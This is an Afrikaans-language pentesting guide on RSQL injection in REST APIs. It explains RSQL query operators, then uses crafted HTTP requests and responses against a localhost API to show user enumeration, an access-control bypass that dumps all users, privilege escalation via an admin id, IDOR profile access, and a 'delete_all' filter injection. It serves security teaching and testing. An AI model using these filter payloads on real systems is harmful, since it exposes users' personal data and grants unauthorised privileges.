# RSQL Injection {{#include ../banners/hacktricks-training.md}} ## Wat is RSQL? RSQL is 'n navraagtaal wat ontwerp is vir geparametriseerde filtrering van insette in RESTful APIs. Gebaseer op FIQL (Feed Item Query Language), oorspronklik gespesifiseer deur Mark Nottingham vir die navraag van Atom feeds, is RSQL bekend vir sy eenvoud en vermoë om komplekse navrae op 'n kompakte en URI-konforme manier oor HTTP uit te druk. Dit maak dit 'n uitstekende keuse as 'n algemene navraagtaal vir REST eindpunt soektogte. ## Oorsig RSQL Injection is 'n kwesbaarheid in webtoepassings wat RSQL as 'n navraagtaal in RESTful APIs gebruik. Soos [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) en [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), gebeur hierdie kwesbaarheid wanneer RSQL-filtre nie behoorlik gesuiwer word nie, wat 'n aanvaller toelaat om kwaadwillige navrae in te voeg om data sonder toestemming te bekom, te wysig of te verwyder. ## Hoe werk dit? RSQL laat jou toe om gevorderde navrae in RESTful APIs te bou, byvoorbeeld: ```bash /products?filter=price>100;category==electronics ``` Dit vertaal na 'n gestruktureerde navraag wat produkte filter met 'n prys groter as 100 en kategorie “elektronika”. As die aansoek nie gebruikersinvoer korrek valideer nie, kan 'n aanvaller die filter manipuleer om onverwagte navrae uit te voer, soos: ```bash /products?filter=id=in=(1,2,3);delete_all==true ``` Of selfs voordeel trek om sensitiewe inligting te onttrek met Boolean-vrae of geneste subvrae. ## Risiko's - **Blootstelling van sensitiewe data:** 'n Aanvaller kan inligting terugkry wat nie toeganklik behoort te wees nie. - **Data-wijziging of -verwydering:** Inspuiting van filters wat databasisrekords verander. - **Privilegie-eskalasie:** Manipulasie van identifiseerders wat rolle toeken deur filters om die toepassing te mislei deur toegang te verkry met die voorregte van ander gebruikers. - **Ontduiking van toegangbeheer:** Manipulasie van filters om toegang tot beperkte data te verkry. - **Vervalsing of IDOR:** Wysiging van identifiseerders tussen gebruikers deur filters wat toegang tot inligting en hulpbronne van ander gebruikers toelaat sonder om behoorlik as sodanig geverifieer te wees. ## Gesteunde RSQL-operateurs | Operateur | Beskrywing | Voorbeeld | |:----: |:----: |:------------------:| | `;` / `and` | Logiese **AND** operateur. Filtreer rye waar *albei* voorwaardes *waar* is | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` | | `,` / `or` | Logiese **OR** operateur. Filtreer rye waar *ten minste een* voorwaarde *waar* is| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` | | `==` | Voer 'n **gelyk** vrae uit. Teruggee alle rye van *myTable* waar waardes in *columnA* presies gelyk is aan *queryValue* | `/api/v2/myTable?q=columnA==queryValue` | | `=q=` | Voer 'n **soek** vrae uit. Teruggee alle rye van *myTable* waar waardes in *columnA* *queryValue* bevat | `/api/v2/myTable?q=columnA=q=queryValue` | | `=like=` | Voer 'n **soortgelyk** vrae uit. Teruggee alle rye van *myTable* waar waardes in *columnA* soos *queryValue* is | `/api/v2/myTable?q=columnA=like=queryValue` | | `=in=` | Voer 'n **in** vrae uit. Teruggee alle rye van *myTable* waar *columnA* *valueA* OF *valueB* bevat | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` | | `=out=` | Voer 'n **uitsluit** vrae uit. Teruggee alle rye van *myTable* waar die waardes in *columnA* nie *valueA* of *valueB* is nie | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` | | `!=` | Voer 'n *nie gelyk aan* vrae uit. Teruggee alle rye van *myTable* waar waardes in *columnA* nie gelyk is aan *queryValue* nie | `/api/v2/myTable?q=columnA!=queryValue` | | `=notlike=` | Voer 'n **nie soos** vrae uit. Teruggee alle rye van *myTable* waar waardes in *columnA* nie soos *queryValue* is nie | `/api/v2/myTable?q=columnA=notlike=queryValue` | | `<` & `=lt=` | Voer 'n **minder as** vrae uit. Teruggee alle rye van *myTable* waar waardes in *columnA* minder is as *queryValue* | `/api/v2/myTable?q=columnA `/api/v2/myTable?q=columnA=lt=queryValue` | | `=le=` & `<=` | Voer 'n **minder as** of **gelyk aan** vrae uit. Teruggee alle rye van *myTable* waar waardes in *columnA* minder as of gelyk aan *queryValue* is | `/api/v2/myTable?q=columnA<=queryValue`
`/api/v2/myTable?q=columnA=le=queryValue` | | `>` & `=gt=` | Voer 'n **meer as** vrae uit. Teruggee alle rye van *myTable* waar waardes in *columnA* meer is as *queryValue* | `/api/v2/myTable?q=columnA>queryValue`
`/api/v2/myTable?q=columnA=gt=queryValue` | | `>=` & `=ge=` | Voer 'n **gelyk aan** of **meer as** vrae uit. Teruggee alle rye van *myTable* waar waardes in *columnA* gelyk aan of meer as *queryValue* is | `/api/v2/myTable?q=columnA>=queryValue`
`/api/v2/myTable?q=columnA=ge=queryValue` | | `=rng=` | Voer 'n **van tot** vrae uit. Teruggee alle rye van *myTable* waar waardes in *columnA* gelyk of meer is as die *fromValue*, en minder as of gelyk aan die *toValue* | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` | **Nota**: Tabel gebaseer op inligting van [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) en [**rsql-parser**](https://github.com/jirutka/rsql-parser) toepassings. #### Voorbeelde - name=="Kill Bill";year=gt=2003 - name=="Kill Bill" and year>2003 - genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000 - genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000 - director.lastName==Nolan;year=ge=2000;year=lt=2010 - director.lastName==Nolan and year>=2000 and year<2010 - genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino - genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino **Nota**: Tabel gebaseer op inligting van [**rsql-parser**](https://github.com/jirutka/rsql-parser) toepassing. ## Algemene filters Hierdie filters help om vrae in API's te verfyn: | Filter | Beskrywing | Voorbeeld | |--------|------------|---------| | `filter[users]` | Filtreer resultate volgens spesifieke gebruikers | `/api/v2/myTable?filter[users]=123` | | `filter[status]` | Filtreer volgens status (aktief/inaktief, voltooi, ens.) | `/api/v2/orders?filter[status]=active` | | `filter[date]` | Filtreer resultate binne 'n datumbereik | `/api/v2/logs?filter[date]=gte:2024-01-01` | | `filter[category]` | Filtreer volgens kategorie of hulpbron tipe | `/api/v2/products?filter[category]=electronics` | | `filter[id]` | Filtreer volgens 'n unieke identifiseerder | `/api/v2/posts?filter[id]=42` | ## Algemene parameters Hierdie parameters help om API-antwoorde te optimaliseer: | Parameter | Beskrywing | Voorbeeld | |-----------|------------|---------| | `include` | Sluit verwante hulpbronne in die antwoord in | `/api/v2/orders?include=customer,items` | | `sort` | Sorteer resultate in op- of aflopende volgorde | `/api/v2/users?sort=-created_at` | | `page[size]` | Beheer die aantal resultate per bladsy | `/api/v2/products?page[size]=10` | | `page[number]` | Spesifiseer die bladsy nommer | `/api/v2/products?page[number]=2` | | `fields[resource]` | Definieer watter velde in die antwoord teruggegee moet word | `/api/v2/users?fields[users]=id,name,email` | | `search` | Voer 'n meer buigsame soektog uit | `/api/v2/posts?search=technology` | ## Inligtingslek en opsporing van gebruikers Die volgende versoek toon 'n registrasie-eindpunt wat die e-posparameter vereis om te kontroleer of daar enige gebruiker geregistreer is met daardie e-pos en om 'n waar of vals terug te gee, afhangende van of dit in die databasis bestaan of nie: ### Versoek ``` GET /api/registrations HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwoord ``` HTTP/1.1 400 Date: Sat, 22 Mar 2025 14:47:14 GMT Content-Type: application/vnd.api+json Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * Content-Length: 85 { "errors": [{ "code": "BLANK", "detail": "Missing required param: email", "status": "400" }] } ``` Alhoewel 'n `/api/registrations?email=` verwag word, is dit moontlik om RSQL-filters te gebruik om te probeer om gebruikersinligting te enumerate en/of te onttrek deur die gebruik van spesiale operateurs: ### Request ``` GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Origin: https://locahost:3000 Connection: keep-alive Referer: https://locahost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwoord ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 14:09:38 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 38 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": { "attributes": { "tenants": [] } } } ``` In die geval van 'n geldige e-posrekening wat ooreenstem, sal die aansoek die gebruiker se inligting teruggee in plaas van 'n klassieke *“true”*, *"1"* of wat ook al in die antwoord aan die bediener: ### Request ``` GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwoord ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 14:19:46 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 293 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": { "id": "********************", "type": "UserAccountDTO", "attributes": { "id": "********************", "type": "UserAccountDTO", "email": "manuel**********@domain.local", "sub": "*********************", "status": "ACTIVE", "tenants": [{ "id": "1" }] } } } ``` ## Magtiging In hierdie scenario begin ons met 'n gebruiker met 'n basiese rol en waarin ons nie bevoorregte toestemmings het nie (bv. administrateur) om toegang te verkry tot die lys van alle gebruikers wat in die databasis geregistreer is: ### Versoek ``` GET /api/users HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJhb................. Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwoord ``` HTTP/1.1 403 Date: Sat, 22 Mar 2025 14:40:07 GMT Content-Length: 0 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * ``` We gebruik weer die filters en spesiale operateurs wat ons 'n alternatiewe manier sal bied om die inligting van die gebruikers te verkry en die toegangbeheer te omseil. Byvoorbeeld, filter volgens die *gebruikers* wat die letter “*a*” in hul gebruiker *ID* bevat: ### Request ``` GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJhb................. Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwoord ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 14:43:28 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 1434192 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "id": "********A***********", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 3, "translationKey": "************", "email": "**********@domain.local", "firstName": "rafael", "surname": "************", "telephoneCountryCode": "**", "mobilePhone": "*********", "taxIdentifier": "********", "languageId": 1, "createdAt": "2024-08-09T10:57:41.237Z", "termsOfUseAccepted": true, "id": "******************", "type": "UserGetResponseCustomDTO" } }, { "id": "*A*******A*****A*******A******", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 3, "translationKey": ""************", "email": "juan*******@domain.local", "firstName": "juan", "surname": ""************",", "telephoneCountryCode": "**", "mobilePhone": "************", "taxIdentifier": "************", "languageId": 1, "createdAt": "2024-07-18T06:07:37.68Z", "termsOfUseAccepted": true, "id": "*******************", "type": "UserGetResponseCustomDTO" } }, { ................ ``` ## Privilege Escalation Dit is baie waarskynlik om sekere eindpunte te vind wat gebruikersprivileges deur hul rol nagaan. Byvoorbeeld, ons werk met 'n gebruiker wat geen privileges het nie: ### Request ``` GET /api/companyUsers?include=role HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJhb...... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwoord ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:13:08 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 11 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [] } ``` Deur sekere operators te gebruik, kan ons administrateur gebruikers opnoem: ### Versoek ``` GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJh..... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwoord ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:13:45 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 361 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "type": "CompanyUserGetResponseDTO", "attributes": { "companyId": "FA**************", "companyTaxIdentifier": "B999*******", "bizName": "company sl", "email": "jose*******@domain.local", "userRole": { "userRoleId": 1, "userRoleKey": "general.roles.admin" }, "companyCountryTranslationKey": "*******", "type": "CompanyUserGetResponseDTO" } }] } ``` Na kennis van 'n identifiseerder van 'n administrateur gebruiker, sal dit moontlik wees om 'n privaatheidsverhoging te benut deur die ooreenstemmende filter met die administrateur se identifiseerder te vervang of by te voeg en dieselfde voorregte te verkry: ### Request ``` GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJ..... Origin: https:/localhost:3000 Connection: keep-alive Referer: https:/localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwoord ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 18:53:00 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 68833 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "meta": { "Functionalities": [{ "functionalityId": 1, "permissionId": 1, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "general.userProfile", "type": "FunctionalityPermissionDTO" }, { "functionalityId": 2, "permissionId": 2, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "general.my_profile", "type": "FunctionalityPermissionDTO" }, { "functionalityId": 3, "permissionId": 3, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "layout.change_user_data", "type": "FunctionalityPermissionDTO" }, { "functionalityId": 4, "permissionId": 4, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "general.configuration", "type": "FunctionalityPermissionDTO" }, { ....... ``` ## Imiteer of Onveilige Direkte Objekt Verwysings (IDOR) Benewens die gebruik van die `filter` parameter, is dit moontlik om ander parameters soos `include` te gebruik wat toelaat om sekere parameters (bv. taal, land, wagwoord...) in die resultaat in te sluit. In die volgende voorbeeld word die inligting van ons gebruikersprofiel getoon: ### Versoek ``` GET /api/users?include=language,country HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJ...... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwoord ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:47:27 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 540 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "id": "D5********************", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 3, "translationKey": "**********", "email": "domingo....@domain.local", "firstName": "Domingo", "surname": "**********", "telephoneCountryCode": "**", "mobilePhone": "******", "languageId": 1, "createdAt": "2024-03-11T07:24:57.627Z", "termsOfUseAccepted": true, "howMeetUs": "**************", "id": "D5********************", "type": "UserGetResponseCustomDTO" } }] } ``` Die kombinasie van filters kan gebruik word om outoriseringbeheer te ontduik en toegang tot ander gebruikers se profiele te verkry: ### Request ``` GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJ.... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwoord ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:50:07 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 520 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "id": "94******************", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 2, "translationKey": "**************", "email": "jose******@domain.local", "firstName": "jose", "surname": "***************", "telephoneCountryCode": "**", "mobilePhone": "********", "taxIdentifier": "*********", "languageId": 1, "createdAt": "2024-11-21T08:29:05.833Z", "termsOfUseAccepted": true, "id": "94******************", "type": "UserGetResponseCustomDTO" } }] } ``` ## Verwysings - [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection) - [RSQL Injection Exploitatie](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation) {{#include ../banners/hacktricks-training.md}}